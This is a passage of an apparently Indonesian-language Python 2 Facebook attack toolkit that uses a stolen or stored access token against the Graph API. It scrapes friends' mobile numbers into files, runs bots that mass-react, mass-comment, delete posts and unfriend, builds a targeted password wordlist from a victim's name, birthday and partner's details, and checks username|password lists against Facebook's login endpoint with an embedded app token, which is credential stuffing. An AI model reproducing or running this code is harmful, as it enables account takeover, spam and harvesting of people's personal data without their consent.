try: hp.append(z['mobile_phone']) no.write(z['mobile_phone'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mNomor\x1b[1;91m : \x1b[1;97m' + z['mobile_phone'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Nomor\x1b[1;96m%s' % len(hp) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + noms no.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(noms) print '\x1b[1;91m[!] Kesalahan terjadi' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def hpfrom_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Belum berteman' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) a = json.loads(r.text) no = open(noms, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: hpfromteman.append(z['mobile_phone']) no.write(z['mobile_phone'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mNomor\x1b[1;91m : \x1b[1;97m' + z['mobile_phone'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Nomor\x1b[1;96m%s' % len(hpfromteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + noms no.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def menu_bot(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Bot Reactions Target Post' print '\x1b[1;37;40m2. Bot Reactions Grup Post' print '\x1b[1;37;40m3. Bot Komen Target Post' print '\x1b[1;37;40m4. Bot Komen Grup Post' print '\x1b[1;37;40m5. Mass delete Post' print '\x1b[1;37;40m6. Terima permintaan pertemanan' print '\x1b[1;37;40m7. Hapus pertemanan' print '\x1b[1;31;40m0. Kembali' print bot_pilih() def bot_pilih(): bots = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if bots == '': print '\x1b[1;91m[!] Jangan kosong' bot_pilih() else: if bots == '1': menu_react() else: if bots == '2': grup_react() else: if bots == '3': bot_komen() else: if bots == '4': grup_komen() else: if bots == '5': deletepost() else: if bots == '6': accept() else: if bots == '7': unfriend() else: if bots == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + bots + ' \x1b[1;91mTidak ada' bot_pilih() def menu_react(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. \x1b[1;97mLike' print '\x1b[1;37;40m2. \x1b[1;97mLove' print '\x1b[1;37;40m3. \x1b[1;97mWow' print '\x1b[1;37;40m4. \x1b[1;97mHaha' print '\x1b[1;37;40m5. \x1b[1;97mSedih' print '\x1b[1;37;40m6. \x1b[1;97mMarah' print '\x1b[1;31;40m0. Kembali' print react_pilih() def react_pilih(): global tipe aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if aksi == '': print '\x1b[1;91m[!] Jangan kosong' react_pilih() else: if aksi == '1': tipe = 'LIKE' react() else: if aksi == '2': tipe = 'LOVE' react() else: if aksi == '3': tipe = 'WOW' react() else: if aksi == '4': tipe = 'HAHA' react() else: if aksi == '5': tipe = 'SAD' react() else: if aksi == '6': tipe = 'ANGRY' react() else: if aksi == '0': menu_bot() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada' react_pilih() def react(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') try: oh = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) ah = json.loads(oh.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for a in ah['feed']['data']: y = a['id'] reaksi.append(y) requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(reaksi)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def grup_react(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. \x1b[1;97mLike' print '\x1b[1;37;40m2. \x1b[1;97mLove' print '\x1b[1;37;40m3. \x1b[1;97mWow' print '\x1b[1;37;40m4. \x1b[1;97mHaha' print '\x1b[1;37;40m5. \x1b[1;97mSedih' print '\x1b[1;37;40m6. \x1b[1;97mMarah' print '\x1b[1;31;40m0. Kembali' print reactg_pilih() def reactg_pilih(): global tipe aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if aksi == '': print '\x1b[1;91m[!] Jangan kosong' reactg_pilih() else: if aksi == '1': tipe = 'LIKE' reactg() else: if aksi == '2': tipe = 'LOVE' reactg() else: if aksi == '3': tipe = 'WOW' reactg() else: if aksi == '4': tipe = 'HAHA' reactg() else: if aksi == '5': tipe = 'SAD' reactg() else: if aksi == '6': tipe = 'ANGRY' reactg() else: if aksi == '0': menu_bot() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada' reactg_pilih() def reactg(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket) asw = json.loads(ah.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] try: oh = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) ah = json.loads(oh.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for a in ah['feed']['data']: y = a['id'] reaksigrup.append(y) requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(reaksigrup)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def bot_komen(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru" ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') km = raw_input('\x1b[1;91m[+] \x1b[1;92mKomentar \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') km = km.replace('<>', '\n') try: p = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) a = json.loads(p.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for s in a['feed']['data']: f = s['id'] komen.append(f) requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]' print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(komen)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def grup_komen(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru" ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') km = raw_input('\x1b[1;91m[+] \x1b[1;92mKomentar \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') km = km.replace('<>', '\n') try: ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket) asw = json.loads(ah.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] p = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) a = json.loads(p.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for s in a['feed']['data']: f = s['id'] komengrup.append(f) requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]' print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(komengrup)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def deletepost(): os.system('reset') try: toket = open('login.txt', 'r').read() nam = requests.get('https://graph.facebook.com/me?access_token=' + toket) lol = json.loads(nam.text) nama = lol['name'] except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[+] \x1b[1;92mFrom \x1b[1;91m: \x1b[1;97m%s' % nama jalan('\x1b[1;91m[+] \x1b[1;92mMulai menghapus postingan unfaedah\x1b[1;97m ...') print 40 * '\x1b[1;97m\xe2\x95\x90' asu = requests.get('https://graph.facebook.com/me/feed?access_token=' + toket) asus = json.loads(asu.text) for p in asus['data']: id = p['id'] piro = 0 url = requests.get('https://graph.facebook.com/' + id + '?method=delete&access_token=' + toket) ok = json.loads(url.text) try: error = ok['error']['message'] print '\x1b[1;91m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;91m] \x1b[1;95mGagal' except TypeError: print '\x1b[1;92m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;92m] \x1b[1;96mTerhapus' piro += 1 except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Koneksi Error' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def accept(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') r = requests.get('https://graph.facebook.com/me/friendrequests?limit=' + limit + '&access_token=' + toket) teman = json.loads(r.text) if '[]' in str(teman['data']): print '\x1b[1;91m[!] Tidak ada permintaan pertemanan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in teman['data']: gas = requests.post('https://graph.facebook.com/me/friends/' + i['from']['id'] + '?access_token=' + toket) a = json.loads(gas.text) if 'error' in str(a): print '\x1b[1;91m[+] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + i['from']['name'] print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;91m Gagal' print 40 * '\x1b[1;97m\xe2\x95\x90' else: print '\x1b[1;91m[+] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + i['from']['name'] print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;92m Berhasil' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def unfriend(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;97mStop \x1b[1;91mCTRL+C' print try: pek = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) cok = json.loads(pek.text) for i in cok['data']: nama = i['name'] id = i['id'] requests.delete('https://graph.facebook.com/me/friends?uid=' + id + '&access_token=' + toket) print '\x1b[1;97m[\x1b[1;92mTerhapus\x1b[1;97m] ' + nama + ' => ' + id except IndexError: pass except KeyboardInterrupt: print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def lain(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Buat postingan' print '\x1b[1;37;40m2. Buat Wordlist' print '\x1b[1;37;40m3. Akun Checker' print '\x1b[1;37;40m4. Lihat daftar grup' print '\x1b[1;37;40m5. Profile Guard' print print '\x1b[1;97m ->Coming soon<-' print print '\x1b[1;31;40m0. Kembali' print pilih_lain() def pilih_lain(): other = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if other == '': print '\x1b[1;91m[!] Jangan kosong' pilih_lain() else: if other == '1': status() else: if other == '2': wordlist() else: if other == '3': check_akun() else: if other == '4': grupsaya() else: if other == '5': guard() else: if other == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + other + ' \x1b[1;91mTidak ada' pilih_lain() def status(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' msg = raw_input('\x1b[1;91m[+] \x1b[1;92mKetik status \x1b[1;91m:\x1b[1;97m ') if msg == '': print '\x1b[1;91m[!] Jangan kosong' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() else: res = requests.get('https://graph.facebook.com/me/feed?method=POST&message=' + msg + '&access_token=' + toket) op = json.loads(res.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[+] \x1b[1;92mStatus ID\x1b[1;91m : \x1b[1;97m' + op['id'] raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def wordlist(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;92mIsi data lengkap target dibawah' print 40 * '\x1b[1;97m\xe2\x95\x90' a = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Depan \x1b[1;97m: ') file = open(a + '.txt', 'w') b = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Tengah \x1b[1;97m: ') c = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Belakang \x1b[1;97m: ') d = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan \x1b[1;97m: ') e = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ') f = e[0:2] g = e[2:4] h = e[4:] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;93mKalo Jomblo SKIP aja :v' i = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Pacar \x1b[1;97m: ') j = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan Pacar \x1b[1;97m: ') k = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir Pacar >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') l = k[0:2] m = k[2:4] n = k[4:] file.write('%s%s\n%s%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s' % (a, c, a, b, b, a, b, c, c, a, c, b, a, a, b, b, c, c, a, d, b, d, c, d, d, d, d, a, d, b, d, c, a, e, a, f, a, g, a, h, b, e, b, f, b, g, b, h, c, e, c, f, c, g, c, h, d, e, d, f, d, g, d, h, e, a, f, a, g, a, h, a, e, b, f, b, g, b, h, b, e, c, f, c, g, c, h, c, e, d, f, d, g, d, h, d, d, d, a, f, g, a, g, h, f, g, f, h, f, f, g, f, g, h, g, g, h, f, h, g, h, h, h, g, f, a, g, h, b, f, g, b, g, h, c, f, g, c, g, h, d, f, g, d, g, h, a, i, a, j, a, k, i, e, i, j, i, k, b, i, b, j, b, k, c, i, c, j, c, k, e, k, j, a, j, b, j, c, j, d, j, j, k, a, k, b, k, c, k, d, k, k, i, l, i, m, i, n, j, l, j, m, j, n, j, k)) wg = 0 while wg < 100: wg = wg + 1 file.write(a + str(wg) + '\n') en = 0 while en < 100: en = en + 1 file.write(i + str(en) + '\n') word = 0 while word < 100: word = word + 1 file.write(d + str(word) + '\n') gen = 0 while gen < 100: gen = gen + 1 file.write(j + str(gen) + '\n') file.close() time.sleep(1.5) print '\n\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97m %s.txt' % a raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except IOError as e: print '\x1b[1;91m[!] Gagal membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def check_akun(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;92mIsi File\x1b[1;91m : \x1b[1;97musername|password' print 40 * '\x1b[1;97m\xe2\x95\x90' live = [] cek = [] die = [] try: file = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m:\x1b[1;97m ') list = open(file, 'r').readlines() except IOError: print '\x1b[1;91m[!] File tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() pemisah = raw_input('\x1b[1;91m[+] \x1b[1;92mPemisah \x1b[1;91m:\x1b[1;97m ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for meki in list: username, password = meki.strip().split(str(pemisah)) url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + password + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' data = requests.get(url) mpsh = json.loads(data.text) if 'access_token' in mpsh: live.append(password) print '\x1b[1;97m[\x1b[1;92mLive\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password elif 'www.facebook.com' in mpsh['error_msg']: cek.append(password) print '\x1b[1;97m[\x1b[1;93mCheck\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password else: die.append(password) print '\x1b[1;97m[\x1b[1;91mMati\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password print '\n\x1b[1;91m[+] \x1b[1;97mTotal\x1b[1;91m : \x1b[1;97mLive=\x1b[1;92m' + str(len(live)) + ' \x1b[1;97mCheck=\x1b[1;93m' + str(len(cek)) + ' \x1b[1;97mDie=\x1b[1;91m' + str(len(die)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def grupsaya(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' try: uh = requests.get('https://graph.facebook.com/me/groups?access_token=' + toket) gud = json.loads(uh.text) for p in gud['data']: nama = p['name'] id = p['id'] f = open('grupid.txt', 'w') listgrup.append(id) f.write(id + '\n') print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + str(nama) print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + str(id) print 40 * '\x1b[1;97m=' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Grup \x1b[1;96m%s' % len(listgrup) print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97mgrupid.txt' f.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except KeyError: os.remove('grupid.txt') print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def guard(): global toket os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Aktifkan' print '\x1b[1;37;40m2. NonAktifkan' print '\x1b[1;31;40m0. Kembali' print g = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if g == '1': aktif = 'true' gaz(toket, aktif) else: if g == '2': non = 'false' gaz(toket, non) else: if g == '0': lain() else: if g == '': keluar() else: keluar() def get_userid(toket): url = 'https://graph.facebook.com/me?access_token=%s' % toket res = requests.get(url) uid = json.loads(res.text) return uid['id'] def gaz(toket, enable=True): id = get_userid(toket) data = 'variables={"0":{"is_shielded": %s,"session_id":"9b78191c-84fd-4ab6-b0aa-19b39f04a6bc","actor_id":"%s","client_mutation_id":"b0316dd6-3fd6-4beb-aed4-bb29c5dc64b0"}}&method=post&doc_id=1477043292367183&query_name=IsShieldedSetMutation&strip_defaults=true&strip_nulls=true&locale=en_US&client_country_code=US&fb_api_req_friendly_name=IsShieldedSetMutation&fb_api_caller_class=IsShieldedSetMutation' % (enable, str(id)) headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'OAuth %s' % toket} url = 'https://graph.facebook.com/graphql' res = requests.post(url, data=data, headers=headers) print res.text if '"is_shielded":true' in res.text: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] 